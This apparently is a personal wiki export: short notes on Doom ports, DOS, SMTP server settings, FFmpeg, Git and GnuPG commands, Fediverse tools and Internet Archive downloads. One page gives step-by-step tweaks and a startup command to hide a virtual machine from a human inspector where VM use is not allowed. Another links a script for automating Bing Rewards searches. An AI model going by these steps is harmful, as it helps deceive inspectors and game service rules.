                • Chocolate Doom โ€” Doom source port that accurately reproduces the experience of Doom as it was played in the 1990s with limited mod support but high cross-platform support โ€” [Git]
                • ZDoom Team โ€” team of developers and contributors [...] primarily develop and maintain the GZDoom and Raze source ports, and also some of the tools that can be used to fascilitate editing of game modifications which are supported by them
                  • GZDoom โ€” GZDoom is a feature centric port for all Doom engine games, based on ZDoom, adding an OpenGL renderer and powerful scripting capabilities
                • WAD Commander โ€” WAD Commander is a tool running in modern browsers to load and play WAD files of DOOMยฎ and DOOM IIยฎ.
                • Wasm Doom by Cloudflare โ€” Chocolate Doom WebAssembly port with WebSockets support โ€” [Git]
                • Mi dicono dalla regia che esattamente 30 anni fa, #DOOM viene ufficialmente rilasciato. Che direโ€ฆ
                • Freedoom project aims to create a complete free content game based on the Doom engine โ€” [Git]
                • Eviternity II โ€” full 36-map megawad sequel to Eviternity, with apparently nice-looking levels
                Octt 23rd December 2023 at 11:14am

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/DOS

                • FreeDOS โ€” is a free software operating system for IBM PC compatible computers.
                • js-dos v7 โ€” The simplest API to run DOS games in browser โ€” [Git]
                  • DOS Zone โ€” Ultimate collection of online dos games
                • DOS haven โ€” 21st century DOS games, and related resources like homebrews, tools, and codes
                Octt 1st September 2023 at 11:53pm

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/dpkg

                Octt 5th February 2023 at 3:04pm
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                Octt 23rd August 2023 at 10:49pm

                Graphs of my earnings should be available soon.

                Misc

                Microsoft Rewards

                (At least in Italy, I don't know about other markets) MS Rewards lets you exchange points for Amazon gift cards: 1โ‚ฌ = 1500 rp (custom price can be chosen)
                • https://octospacc.gitlab.io/pastebin/BingSpam.html โ€” Script for completing the daily searches goal in Bing without doing searches by hand; Have been using it for months now, never got banned, it should be safe; Note: it appears I got softbanned months ago (meaning everything in Rewards worked except for redeems, which would error at the end) in the big July wave, but I can't say if this is due to the script or other "bad patterns".

                Network traffic sharing

                Earnapp

                I haven't been using Earnapp for months now due to first technical issues on my side, then a bit of forgetfulness and also because the service isn't paying like it used to (traffic decreased).

                2023 update: Earnapp+ now exists, you get paid a fixed amount for the hours you leave the program on, instead of traffic it's taken (7โ‚ฌ/month in Europe). It's Windows-only, and has VM detection but apparently I can bypass it.

                • EarnApp-Docker - Containerized version of BrightData's EarnApp Doesn't seem to really be working, just like the official CLI Linux app installed manually.

                Honeygain

                The service is absolutely not paying like it used to nowaydays, sadly, does little traffic. Also be careful if using this, refrain from doing something that goes in the gray side of their ToS as they could ban you. Some people have been banned near reaching a payout; some also then unbanned after a while.

                Honeygain has a partnership with JumpTask so you can earn their crypto (BSC chain) token, and it's continuous, you don't have to reach payout targets. After months and months of evaluation, I think it's fair to say you only make a misery with JumpTask mode, as compared to normal mode.

                IPRoyal

                There was this service called IPRoyal (of which "IPRoyal Pawns" was the name of the side which pays users sharing traffic, "IPRoyal" is for who buys the traffic), which now seems to have changed name into Pawns.app and include also surveys, not only network sharing. Never tried it either before or after the rebranding.

                PacketStream

                I tried PacketStream for one or two days and saw it does a misery of traffic, not recommended.

                Peer2Profit

                Currently working ok. Has some issues on Vodafone's mobile network, due to "Vodafone Digital Privacy and Security" thinking it is a malware and blocking the api.peer2profit.global API domain.

                August 2023 update: The website is discontinued and now the Telegram bot must be used for everything. The Windows app and Linux CLI app are discontinued, but a new Linux GUI app exists.

                Octt 19th November 2023 at 12:42am
                Octt 12th February 2024 at 5:26pm

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/Email

                Hosting and software

                Postfix

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/Postfix (software)

                Octt 6th February 2023 at 11:15am

                Outlook

                • Username: Full Email Address (e.g. example@outlook.com)
                • Password: Standard Account Password
                • Server: smtp-mail.outlook.com
                • Ports:
                  • TLS: 587
                  • No Encryption: 25
                • Daily Limits: 250 Mails, or [verification needed] 100 different Recipients

                Yahoo Mail

                • Username: Full Email Address (e.g. example@yahoo.com)
                • Password: App Password; Must be set from Yahoo's account security settings
                • Server: smtp.mail.yahoo.com
                • Ports: 465 (With SSL)
                  • SSL: 465
                  • TLS: 587
                • Daily Limits[verification needed]: 500 Mails, or 100 Connections
                Octt 30th January 2024 at 12:15pm

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/Emulator

                Resources

                Web Sites

                Game Console Emulators

                General PC Emulators

                Linux Emulators

                Other

                Footnotes
                Octt 19th January 2024 at 12:37am
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                Octt 21st December 2023 at 12:21am

                Linux driver:

                • on OpenPrinting
                  • the deb file is apparently outdated and won't work on Debian 12
                • (Debian) apt package: printer-driver-escpr (available in stable as of Debian 12)
                Octt 13th April 2023 at 8:57am

                Eruda is an open-source JavaScript applet for Web browsers, created to bring developer tools to those that lack them (like mobile ones). It provides the following features (from the project's README):

                • Console: Display JavaScript logs and run commands
                • Elements: Check the DOM's state
                • Network: Show requests status
                • Resources: Show localStorage and cookie information
                • Info: Show URL and user agent info
                • Snippets: Include snippets used most often
                • Sources: HTML/CSS/JS, source code viewer

                More Resources

                Octt 6th February 2023 at 11:15am
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                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/F-Zero

                What I like
                The game feels very fast, speedy, like you can't rest for even a second while racing, it's immersive.
                Very impressive how the SNES version runs at a constant 60 FPS.
                The Mode-7 games are especially colorful and the controls feel good.
                What I don't like
                The 3D games are kind of "foggy" and dark, and while the atmosphere may feel more modern, they are mostly unattractive to me.
                Octt 19th January 2024 at 1:06am
                • Uxn/Varvara ecosystem is a personal computing stack based on a small virtual machine that lies at the heart of our software, and that allows us to run the same application on a variety of systems.
                  • Uxn is a virtual stack-machine designed to host the Hundred Rabbits projects.
                  • Awesome Uxn Awesome โ€” Curated list of awesome Uxn projects from the community.
                  • learn-uxn by trying and editing code in the browser

                Fantasy console

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/Fantasy console

                Octt 19th February 2024 at 10:40am

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/Fediverse

                List of Platforms

                Tip: these sites list many public instances for many platforms.

                Media

                Microblogging

                Other

                • Epicyon [Git] - Designed for simplicity and accessibility, includes calendar, news and sharing economy features
                • Friendica
                • Lemmy [Git, Dev Instance] - ๐Ÿ€ A link aggregator and forum for the fediverse
                • /kbin - Fediverse of content

                Coming Soon

                Posts and Users

                Other

                • Soapbox โ€” A social media frontend with a focus on custom branding and ease of use. (+ other things) โ€” [Git]
                • Mangan App โ€” Fork of Mangane, fork Soapbox, fork of Mastodon UI, with support for login into any instance โ€” [Git]
                • Fediverse Enhancement Proposals
                • MaPlefeed โ€” Mastodon & Pleroma Feed generator โ€” [Git]
                Octt 4th February 2024 at 12:36pm

                #

                Octt 10th December 2023 at 10:26pm

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/FFmpeg

                • ffmpeg.wasm โ€” FFmpeg for browser, powered by WebAssembly โ€” [Git]
                  • ffmpeg-web โ€” Web UI for ffmpeg-wasm: convert video, audio and images using the power of ffmpeg, directly from your browser โ€” [Git]
                FFmpeg/
                Snippets
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                  FFmpeg/Snippets

                  Octt 12th November 2023 at 11:23pm

                  Flags

                  • Specify an input file: -i ${File}
                  • Framerate: -r ${r}, -framerate ${r} (use both because one sometimes doesn't work) (other ways)

                  Filter Flags

                  These are specified by prefixing an argument:

                  • Audio: -filter:a or -af
                  • Video: -filter:v or -vf

                  Audio Filters

                  • Volume: volume=
                    • ยฑ{n}dB: Adding or Subtracting to absolute value in dB
                    • {%/100}: Target percentage divided by 100 (e.g: 150% -> 1.5)
                  • Detecting volume details: volumedetect -f null /dev/null (just prints to console)

                  Video Filters

                  • Scaling: scale=${w}:${h}
                  • Cropping: crop=${w}:${h}:${x}:${y}

                  Audio/Video Flags

                  These are specified as -flag:a or -flag:v.

                  • Bitrate: -b:{a|v} ${n}{k|m|...}
                  • Codec: -c:{a|v} ${codec}

                  Audio Flags

                  • Audio channels: -ac ${n}

                  Codecs List

                  Special

                  • copy: Copy data stream without re-encoding (if supported by container)

                  Audio Codecs

                  • libopus

                  Video Codecs

                  • h263, h264, libx265
                  • libvpx-vp8, libvpx-vp9
                  • libaom-av1

                  Tips

                  Octt 12th November 2023 at 11:25pm

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/File manager

                  Octt 8th February 2024 at 12:43am

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/File sharing

                  • Filebin โ€” Filebin is a web application that facilitates convenient file sharing over the web. โ€” [Git]
                  • Pixeldrain is a file sharing website built for speed and ease of use. โ€” [Frontend Git]
                  • THE NULL POINTER (0x0.st) โ€” No-bullshit file hosting and URL shortening service โ€” [Git]

                  Image sharing

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/Image sharing

                  • ImgBB โ€” Free Image Hosting for bulletin boards
                  • ImageShare โ€” lightweight web app for uploading images, created for the Nintendo 3DS and other legacy web browsers [Git]
                  Octt 10th January 2024 at 12:52am

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/File system

                  Disk partitioning and related

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/Disk partitioning

                  Fat32

                  Btrfs

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/Btrfs

                  Note (2023-08-04): I tried Btrfs more than a year ago on Linux Lite (with ZSTD compression iirc) but after filling up the entire partition leaving 0 bytes available, even after deleting files, the partition was like corrupted, couldn't write to it anymore.

                  • Compression (docs)
                    • ZSTD is the best-balanced compressor; level 15 is max compression, and still good performance
                    • Enable compression for newly-written files by mounting with -o compress=${algo}:${level}

                  ext# (Linux)

                  Octt 17th December 2023 at 1:16am
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                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/Internet Forum

                  Octt 27th October 2023 at 10:02am

                  Free sharing is a philosophy founded on the belief that: every kind of information that is created to be publicly available has to be shareable by anyone without any restrictions.

                  The reasoning behind this philosophy is that the whole of humanity can benefit, in the long run, if each person creating works of culture puts aside their egoistic desires of wealth and power, and instead decides to explicitly allow anyone to freely share the works in question.

                  People who believe in free sharing not only often choose to leave freedom of sharing what they create to the world, but also engage in mutual exchanges of public information that is officially not free (usually, hidden behind paywalls and/or licenses that don't allow redistribution).

                  This last kind of behavior is not to be confused with computer piracy, which is a term indicating either the unauthorized redistribution of digital content with the main scope of monetary gain, and not the spirit of sharing for bettering humanity, or in general the perpetration of any illegal activity through the use of computer systems or regarding those.

                  Octt 18th August 2023 at 7:50am
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                  Octt 12th February 2024 at 5:26pm

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/Friendica

                  API

                  The official API documentation is disorganized and possibly lacks some information, so Apparently the good API documentation is on the GitHub Wiki, but I still need to build my own organized while I build my custom client.

                  Endpoints

                  Endpoints are present for clients implementing the Mastodon and Twitter protocols, as well as Friendica's own client-to-server protocol, but we only care about this last one.

                  All Friendica endpoints below are available at the /api/ namespace.

                  • They return JSON data by default.
                    • Support many formats by suffix: .{json|xml|rss|atom}

                  • GET /search
                    • q=Search Query

                  Community Timelines

                  • # GET /statuses/public_timeline - Local
                  • # GET /statuses/networkpublic_timeline - Federated
                  Octt 14th February 2024 at 12:28am

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/Front-end web development

                  Octt 19th December 2023 at 12:00am

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/Game Boy

                  • Game Boy Development community โ€” We are a non for profit collective of passionate developers and hackers working on development tools, homebrew games, emulators, preservation and documentation for the Nintendo Game Boy handheld console, the original gray brick from 1989 โ€” [Git]
                  Octt 10th November 2023 at 12:28am

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/Cheating in video games

                  • emuWorks Game Genie Encoder/Decoder Program โ€” simple program which can decode and encode game genie codes for Nintendo, Super Nintendo, Genesis, Game Boy, and Game Gear game genies, for Qt C++, Java, and JavaScript (Web)
                  Octt 14th February 2024 at 12:21am

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/Video game development

                  Developers

                  Octt 23rd August 2023 at 10:15am
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                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/Gamepad

                  Octt 29th March 2024 at 12:03pm

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/Video_game

                  Some games:

                  • Dwarf Fortress โ€” very old game that recently got modernized, I like the original ASCII-graphics-based version ("Classic") which is also gratis
                  • Rising Up โ€” Climb the Corporate Ladder... with Your Fists!
                  • All other games I mentioned on this KB:

                  Some gaming resources:

                  Octt 30th January 2024 at 12:14pm
                  Octt 16th February 2023 at 8:58pm
                  Octt 7th January 2024 at 1:34am

                  Wikipedia

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                  • Gifski โ€“ Highest-quality GIF encoder. GIF encoder based on libimagequant (pngquant). Squeezes maximum possible quality from the awful GIF format. โ€” [Git]
                  Octt 10th December 2023 at 11:15pm

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/GIMP

                  Octt 26th February 2024 at 1:52pm

                  Wikipedia

                  Embed of https://en.m.wikipedia.org/wiki/Git

                  Apps

                  • GitJournal - Mobile first Markdown Notes integrated with Git โ€” [Git]

                  Servers

                  Self-hostable servers
                  Git-SCM: https://git-scm.com/
                  GitLab: https://about.gitlab.com/install/
                  Gitea: https://gitea.io/
                  sr.ht: https://man.sr.ht/installation.md
                  Gratis SaaS servers
                  ๐Ÿ‡บ๐Ÿ‡ธ GitHub
                  ๐Ÿ‡บ๐Ÿ‡ธ GitLab.com
                  ๐Ÿ‡ช๐Ÿ‡บ Gitea.it
                  ๐Ÿ‡ช๐Ÿ‡บ Codeberg (Gitea)
                  ๐Ÿ‡ฆ๐Ÿ‡บ BitBucket
                  https://NotABug.org
                  Git/
                  Snippets
                    โ–ช๏ธ

                    Git/Snippets

                    Octt 6th February 2023 at 11:15am

                    Commands (+ Flags/Tips)

                    • clone ${URL}: Clone (download) a repo to the computer storage
                      • --depth=${n}: Explicitly specify how many commits to download (starting from latest)
                    • add ${Path}: Update Git's internal list of tracked files. This should be issued (ideally for the root directory, .) before trying to commit after creating/deleting/moving/renaming files/folders.
                      • A .gitignore file, containing a list of files or folder paths (one per line) can be created in a repo's root, to make the add command ignore those: they won't be tracked by Git, and thus won't be committed or pushed. Note: adding already tracked paths to .gitignore doesn't make it so they stop being tracked, they must be manually be deleted and then the add command issued again.
                    • config
                      • credential.helper store

                    Miscellaneous Flags

                    • --global: Apply a config command to the global user configuration (omitting applies to current directory if it is a Git repo)
                    Octt 24th December 2023 at 3:40pm

                    Wikipedia

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                    Tools

                    • nightly.link - Downloads the latest "nightly" build/artifact from a continuous testing workflow without logging in - [Git]
                    • GitHub Wiki SEE โ€” ๐Ÿ”Ž 400,000+ GitHub Wikis, now indexable by your favorite search engine. โ€” [Git]
                    • utterances ๐Ÿ”ฎ - lightweight comments widget built on GitHub Issues - [Git]
                    • giscus ๐Ÿ’Ž - lightweight comments widget built on GitHub Discussions - [Git]
                    Octt 23rd July 2023 at 2:07pm

                    Wikipedia

                    Embed of https://en.m.wikipedia.org/wiki/GitLab

                    • GitLab(.com ?) fucked Access Tokens around spring-summer 2023, and I'm steaming rn as all my workflows are borked:
                      • Personal tokens expiration is now limited to 1 year max.
                        • Apparently old tokens with really long expiration (for example, I have some that expire in year 2100) remain working and unmodified.
                      • Tokens specific to group repos are totally fucked:
                        • Expiration for existing tokens is apparently dropped to 1 year if it was previously more.
                        • New tokens can't be created: the UI in the repo's Settings > Access Tokens says: "Group access token creation is disabled in this group. You can enable group access token creation in group settings.". Clicking on the link brings you to Settings > General of the group the repo is in, but there's no setting about tokens anywhere. Regarding this, the official documentation is useless, and I can't find third-party notes/articles.
                        • At least old tokens, idk about new ones, now cannot start CI workflows, e.g. on push in repo.
                    Octt 24th July 2023 at 10:30pm
                    Octt 6th February 2023 at 11:15am
                    GNU/
                    Coreutils:en
                      โ–ช๏ธ

                      GNU/Coreutils:en

                      Octt 6th February 2023 at 11:15am
                      GnuPG/
                      Snippets
                        โ–ช๏ธ

                        GnuPG/Snippets

                        Octt 6th February 2023 at 11:15am

                        Commands (+ Flags/Tips)

                        • --list-keys: List installed keys.
                        • --import Public.pgp: Import someone's public key.
                        • --gen-key: Generate a new keypair, with default options.
                        • --full-generate-key: Generate a new keypair, customizing all the options.
                        • --edit-key {FINGERPRINT}: Edit the internal data of a key.
                        • --output Revoke.pgp --gen-revoke {FINGERPRINT}: Generate and output the revoke certificate for a key.
                        • --output Public.pgp --export {USER@EMAIL}: Export a public key file.
                        • โš ๏ธ --output Private.pgp --export-secret-key {USER@EMAIL}: Export a private key file.
                        • โš ๏ธ --output BackupPrivate.pgp --export-secret-keys --export-options export-backup {USER@EMAIL}: Export private key(s) in backup format.
                        • --import-options restore --import BackupPrivate.pgp

                        --edit-key Commands

                        • list: List identities of the keys.
                        • uid {n}: Select an identity to operate on.
                        • notation: Write new notations inside the key; Prepend a dash (-) when typing a notations to remove it from the key, if present; Type just none to delete all notations.
                        • save: Write changes to the key and quit.

                        --export Flags

                        • --armor: Explicitly export as ASCII-armored, aka in text format.

                        Configuration Options

                        These are usually inserted one-per-line in ~/gpg.conf.

                        • keyserver {URL}
                        Octt 5th March 2023 at 10:30pm
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                        Octt 21st December 2023 at 7:48pm

                        Wikipedia

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                        Window manager

                        Wikipedia

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                        • twin โ€” Text mode window environment. A "retro" program for embedded or remote systems, that doubles as X11 terminal and text-mode equivalent of VNC server
                        • vtm โ€” virtual terminal multiplexer
                        Octt 23rd December 2023 at 11:29pm

                        Wikipedia

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                        The Latest News

                        Embed of https://news.ycombinator.com

                        Hacking a chain strap in an USB SD card reader for security
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                          Hacking a chain strap in an USB SD card reader for security

                          Octt 20th October 2023 at 11:17pm

                          On the spot, I had a good idea to put into practice when I reflected on how my generic USB SD card reader is kind of unsafe, especially when using it on the go, as either the memory card could be ejected and be lost from the adapter, or the adapter itself could fall out of the USB port and be lost.

                          Compare the generic reader to a normal average pendrive, and one difference is obvious: there is no hole to attach a strap or similar accessory. So, one solution is to hack one into the casing, as there is often plenty of free space for that.

                          ...

                          Octt 20th December 2023 at 12:20am
                          Octt 13th June 2023 at 6:50pm

                          In some situations in which using a virtual machine to perform certain tasks isn't allowed, or could simply raise suspicion, hardening the VM to avoid manual human inspection could be necessary.

                          Pop!_OS Host + VMWare

                          Preparations

                          Ensure the configured guest OS runs at the same screen resolution as the host system, to avoid black borders and/or stretching.

                          If this is not possible for some reason:

                          1. In the guest OS, choose a resolution with the closest aspect ratio possible to the host.
                          2. With the VM still booted in Workstation, go to View > Autosize: Stretch Guest.
                          3. Configure font and UI scaling in the guest OS to satisfactory levels (good size for you and minimal blurring).

                          Note: with this guide you will be running the VM using VMWare Player (which is included in VMWare Workstation), as Workstation has some issues with display scaling in case of a non-perfect match.

                          VMWare tweaks

                          Useful tweaks can be made by editing the file $HOME/.vmware/preferences, adding or editing lines as necessary.

                          • Hide menu bar while in full-screen: pref.vmplayer.fullscreen.nobar = "TRUE"
                          • Change hotkey combination keys from the default ones: set to "true" or "false" at will:
                            • Ctrl: pref.hotkey.control
                            • Shift: pref.hotkey.shift
                            • Alt: pref.hotkey.alt
                            • Meta: pref.hotkey.gui

                          Startup measures

                          In case the inspector asks you to reboot the machine, it's useful to have it immediately start up in the VM, without other UIs or logos beforehand.

                          • Disable bootup logos or logs: this should already be the default on Pop!_OS I think.
                          • User autologin: Users > Your user > Automatic Login.
                          • Darker desktop: Since the desktop could show for a split second on login, set a fully black background to reduce visible screen flashing: Background > Add picture, and select a fully black image file.

                          VM autostartup

                          We need the VM to autostart and avoid showing the desktop, or VMWare BIOS logo.

                          1. Install this package from APT: wmctrl
                          2. Create a new profile in gnome-terminal settings, name it something unique, for example "VmWrapperTerminal". Click it and:
                            • Set to OFF:
                              • Scrolling > Show scrollbar.
                              • Text > Use colors from system theme, Use transparent background, Use transparency from system theme.
                            • Set Text > Default color: #000000 for both Text and Background.
                          3. Finally, go to Startup Applications > Add, and create a new item with whatever name and the following command:
                          sh -c 'gnome-terminal --full-screen --title=VmWrapperTerminal --profile=VmWrapperTerminal --command "sleep 20" & sleep 5; wmctrl -r VmWrapperTerminal -b add,above; vmplayer --fullscreen "/path/to/your/VM/VM.vmx"'

                          This command first creates a full-screen gnome-terminal window, using our prepared profile and, importantly, with an unique name (to avoid confusion, you can set it equal to the special profile name). The window starts as non-blocking and simply runs a sleep command of enough seconds to make sure that our VM will start up and will have already gone past the VMWare BIOS logo; it will close itself after the fact. A few second wait is used immediately after this for good measure (making sure the window is spawned), and then our terminal window is made as "Always on top". Finally, the VM begins startup behind the black terminal window. Remember to click its window to set focus quickly, or else your real mouse will show up!

                          Make sure to set the terminal window title, terminal profile name, terminal window wait, and VM .vmx path according to your needs and system configuration.

                          Misc desktop tweaks

                          • No notifications: Notifications > Do Not Disturb.
                          • Never turn off: Power > Screen Blank: Never; Automatic Suspend: OFF.
                          • (Laptops) Ensure closing the lid doesn't lock the screen.
                          • Ensure you have no running applications that could spawn pop-up windows (e.g: Telegram Desktop, Steam, ...)

                          This is not perfect!

                          In the current explanations, there are a few holes. While even an expert inspector could never know for sure that you are using a VM, they could still see that something strange is going on on the computer and be suspicious. It's your responsibility to never show too much. For sure, keep in mind:

                          • Shutting off the guest OS will reveal your desktop.
                          • Rebooting the guest OS will reveal the VMWare logo.
                          • While we did the possible to reduce bootup screen flashes, some window transition effects could be somewhat visible (even if they are black-on-black).
                          • You tell me!
                          Octt 23rd December 2023 at 9:47pm

                          Wikipedia

                          Embed of https://en.m.wikipedia.org/wiki/Hardware

                          • The Hardware Book [HwB] โ€” Internet's largest free collection of connector pinouts and cable descriptions
                          • PinoutGuide.com โ€” Handbook of hardware schemes, cables and connectors layouts pinouts
                          Octt 20th December 2023 at 12:50am

                          Wikipedia

                          Embed of https://en.m.wikipedia.org/wiki/Hash function

                          Wikipedia

                          Embed of https://en.m.wikipedia.org/wiki/MD5

                          MD5 nowadays is known much vulnerable to collisions:

                          Octt 22nd December 2023 at 9:38pm

                          Wikipedia

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                          Christmas

                          Wikipedia

                          Embed of https://en.m.wikipedia.org/wiki/Christmas

                          Octt 30th January 2024 at 12:38am

                          Wikipedia

                          Embed of https://en.m.wikipedia.org/wiki/Homebrew (video games)

                          • PDRoms โ€” Homebrew 4 you (abandoned)
                            • Retro Veteran โ€” Retro is our thing! โ€” continuation for the above site
                          • Homebrew Hub is a community-led initiative to collect, archive and preserve homebrew software developed for Game Boy (Color) and the Game Boy Advance. โ€” [Git]
                          • Universal-Team โ€” We make homebrew apps for the DS(i) and 3DS. We hope you find them useful! ๐Ÿ˜„ โ€” [Git]
                          • Rinnegatamante's Archive
                          Octt 4th February 2024 at 12:22pm

                          Wikipedia

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                          References

                          Tools

                          XHTML

                          Octt 4th February 2024 at 2:35pm
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                          Wikipedia

                          Embed of https://en.m.wikipedia.org/wiki/HTTP

                          Resources

                          Features

                          Octt 19th February 2023 at 10:50am

                          Embed of https://www.gsmarena.com/huawei_p9_lite_mini-8833.php

                          • No custom ROMs have ever been made for this device
                          • We ported TWRP but without working storage decryption
                          • The headphone jack port is detective
                          • The integrated GPU is fake/emulated (Snapdragon 425)
                            • Still don't understand if this is Qualcomm's fault, or Huawei's for not installing proper drivers
                          Product names:
                          Europe: Huawei Y6 Pro 2017
                          Other: Huawei P9 Lite Mini
                          Codename: selina
                          Model numbers:
                          Europe: SLA-L02
                          Other: SLA-L22
                          Octt 5th February 2023 at 2:30pm
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                          Wikipedia

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                          How to

                          Troubleshooting

                          Octt 23rd February 2024 at 12:46am
                          Octt 23rd July 2023 at 1:25pm

                          As of today, spring-summer 2023, it's quite tricky to install kbin without Docker (not that it's better with Docker).

                          On the kbin wiki, a detailed bare-metal installation procedure is now available, but it both tells too much, and not enough to solve some subtle issues.

                          Following instructions for installation are assembled by me for my experimental, private install use cases. They will be updated as I, with a group of other people, work to deploy a production kbin instance.

                          Following resources have helped me compile these notes:

                          Impositions

                          • Why use Alpine Linux?: Debian, the most ideal distro to have a stable server, holds old packages. PHP might not be the most required up-to-date version, along with dependencies. With Alpine we are sure that our packages are up-to-date enough.
                            • A good idea for server stability, is to keep Debian bare-metal, and deploy an Alpine chroot to install kbin into.

                          Installing core dependencies

                          symfony, composer, php82, a lot of modules, and kbin itself

                          ...

                          git clone --depth=1 https://codeberg.org/Kbin/kbin-core
                          ...

                          ...

                          Installing side services

                          PostgreSQL and Redis are mandatory

                          ...

                          ...

                          Reminder: reading this issue might help: Federation works only partially - Configuration Issue?

                          Octt 1st January 2024 at 10:51pm

                          Wikipedia

                          Embed of https://en.m.wikipedia.org/wiki/Instant messaging

                          • LINEโ€”always at your side
                            • LINE STORE โ€” Buy LINE stickers, game currencies, and more on LINE's official web store โ€” has a lot of premium stickers and such, which are actually browseable for free from the website and technically obtainable freely for other uses
                          • Signal
                          Octt 7th February 2023 at 8:58pm

                          Intellinet Network Solutions is a company creating network appliances, including (but not only) routers.

                          Products

                           
                          Octt 13th February 2024 at 7:05pm

                          Wikipedia

                          Embed of https://en.m.wikipedia.org/wiki/Internet

                          (Specific Web resources are under Web.)

                          • Newgrounds.com โ€” Everything, By Everyone
                          • Kiwix โ€” Internet Content Without Internet Access โ€” [Git]
                          • GlobaLeaks โ€” free, open-source software enabling anyone to easily set up and maintain a secure whistleblowing platform โ€” has interesting practical applications
                          • Marginalia.nu โ€” almost a bunch of websites on a common theme
                          • What is this ip6.arpa that keeps showing up? (0.0.0.0.[...].ip6.arpa) โ€” ip6.arpa is a special domain name used to achieve reverse delegation for IPv6 addresses.

                          Tools

                          Octt 13th June 2023 at 6:53pm

                          The Internet Archive is a website serving as free archive of digital items, with the intent of cultural preservation.

                          Wikipedia

                          Embed of https://en.m.wikipedia.org/wiki/Internet Archive

                          The non-profit library is also known for its Wayback Machine service.

                          Internet Archive/
                          Download bulk items (Wget)
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                            Internet Archive/Download bulk items (Wget)

                            Octt 6th February 2023 at 11:15am

                            Source: https://blog.archive.org/2012/04/26/downloading-in-bulk-using-wget

                            Prerequisites

                            1. Obtain Wget;
                            2. (Optional) For large collections, Install "Copy Selected Links" extension For Firefox;

                            Action

                            1. In a text file, Write a list of all item ids to be downloaded (the part after /details/ in the URL);
                              1. Easy way to do this for collections: Select all links in the browser, Right-Click > Copy selected links, Paste in a text editor, Find all instances of https://archive.org/details/, replace with nothing, Save.
                            2. Use the following command:
                            wget -r -H -nc -np -nH --cut-dirs=1 -e robots=off -l1 -i <Path-to-text-file> -B 'http://archive.org/download/'

                            Useful arguments

                            • Whitelist or Blacklist mode for list of extensions (preceded by . (dot), separated by , (comma); Example: .avif,.7z)
                              • -A <Extensions>: Whitelist
                              • -R <Extensions>: Blacklist
                            Octt 24th December 2023 at 5:20pm
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                            Octt 1st February 2024 at 8:11pm

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                            • matterbridge โ€” chat bridges between a growing number of protocols.
                            Octt 13th February 2023 at 4:41pm
                            Octt 6th February 2023 at 11:15am

                            ISO 8601 is a date/time format standard designed for international adoption, by featuring a logical, unambiguous notation.

                            It was first published in 1988, but got some revisions in following years.

                            Its complete form is the following, but the standard allows for dashes (-), colons (:), and the final time zone indicator to be omitted:

                            YYYY-MM-DDThh:mm:ss+hh:mm

                            Octt 7th November 2023 at 10:08pm
                            • Just in, 2023/July: Web Environment Integrity API Proposal โ€” This is scary. It's (strong) SafetyNet for websites [...]
                            • Reign of Surveillance Capitalism.
                              • Full of advertisements, and trackers.
                            • Technically problematic:
                              • Even simple text+images websites are full of megabytes of useless components.
                                • This wisdom tends to verify as more truthful the more you test it against websites of more big players, or entities that are on the web just for money.
                              • Web Browsers are in themselves Operating Systems.
                                • Only The 3 Web Players can keep up with constantly evolving standards requiring corporate-level organization for development, and the risk for a Google monopoly is real.
                                • Every month or so each browser engine has a new critical vulnerability.
                            • Has more noise than information:
                              • Search engines are each day less effective, as pages/articles or full sites written to game SEO pop-up, sinking real information in noise - with entire industries dedicated to profiting this way.
                                • Real people who just want to create real content suffer the most.
                             23rd September 2022 at 5:27am
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                            Wikipedia

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                            Octt 30th January 2024 at 12:40pm

                            JavaScript, or "JS", is an high-level programming language. It constitutes a core technology of the Web, sitting optionally alongside HTML and CSS. In recent years, it has gotten more and more popular even for desktop app and backend development.

                            Wikipedia

                            Embed of https://en.m.wikipedia.org/wiki/JavaScript

                            • Ecma International TC39 - Committee maintaining JS specifications
                            • aem1k โ€” JavaScript Hacks and Creative Coding Created by Martin Kleppe aka @aemkei. โ€” [Git]

                            Resources

                            Tools

                            Octt 30th January 2024 at 1:58pm

                            Note that some of the following resources are still not copied from other pages.

                            JavaScript/
                            Frameworks
                              โ–ช๏ธ

                              JavaScript/Frameworks

                              Octt 13th February 2024 at 9:34pm
                              • Alpine.js - Rugged, minimal[
                                15 attributes, 6 properties, 2 methods
                                ]
                                framework for composing JavaScript behavior in the markup
                                - [Git]
                                • HyperJS - Collection of Alpine JS components - [Git]
                              • Electron - Build cross-platform desktop apps with JavaScript, HTML, and CSS - [Git]
                              • React - Building UI-oriented apps with JSX - [Git]
                              • Preact โ€” โš›๏ธ Fast 3kB React alternative with the same modern API. Components & Virtual DOM. โ€” [Git]
                              • Tauri - Use Rust to build desktop and mobile apps with a web frontend - [Git]
                              Footnotes
                              JavaScript/
                              Libraries
                                โ–ช๏ธ

                                JavaScript/Libraries

                                Octt 2nd February 2024 at 12:07am

                                Note: some are still in Web/Development

                                Single-purpose

                                • FileSaver.js โ€” An HTML5 saveAs() FileSaver implementation
                                • jsdom: JavaScript implementation of various web standards, for use with Node.js โ€” [Git]
                                • Axios โ€” Promise based HTTP client for the browser and node.js โ€” [Git]
                                • DefiantJS โ€” provides the ability for you to build smart templates applicable on JSON structures, based upon proven & standardized technologies such as XSLT and XPath (currently has some bugs, they can be accounted for in own code) โ€” [Git]
